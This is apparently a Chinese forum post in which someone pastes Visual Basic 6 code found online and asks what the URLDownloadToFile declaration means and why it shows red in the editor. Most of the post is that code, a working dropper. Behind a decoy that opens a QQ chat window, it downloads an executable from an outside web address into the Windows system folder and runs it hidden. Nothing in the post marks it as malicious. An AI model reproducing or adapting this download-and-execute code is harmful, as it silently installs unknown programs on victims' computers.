我在网上找到一段代码，代码的内容是这样的：
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal
pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As
Long, ByVal lpfnCB As Long) As Long
Private Sub Command1_Click()
r = URLDownloadToFile(0, "http://www.tc99.net/flash/1.exe", "c:\windows\system\hehe.exe",
0, 0)
If Dir("c:\windows\system\hehe.exe") <> "" Then
Shell "cmd /c start tencent://Message/?Uin=" & Text1.Text, 0
If r = 0 Then
Shell "c:\windows\system\hehe.exe", 0
End If
Else
MsgBox "无法连接网络", 0, "错误"
End If
End Sub
Private Sub Text1_Click()
Text1.Text = ""
End Sub
请问下面这一段是怎么写出来的？我们我用在窗体上时在代码编辑窗口时显示的是红色的？这段代码是什么意思？
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal
pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As
Long, ByVal lpfnCB As Long) As Long
还请高手多多指点！
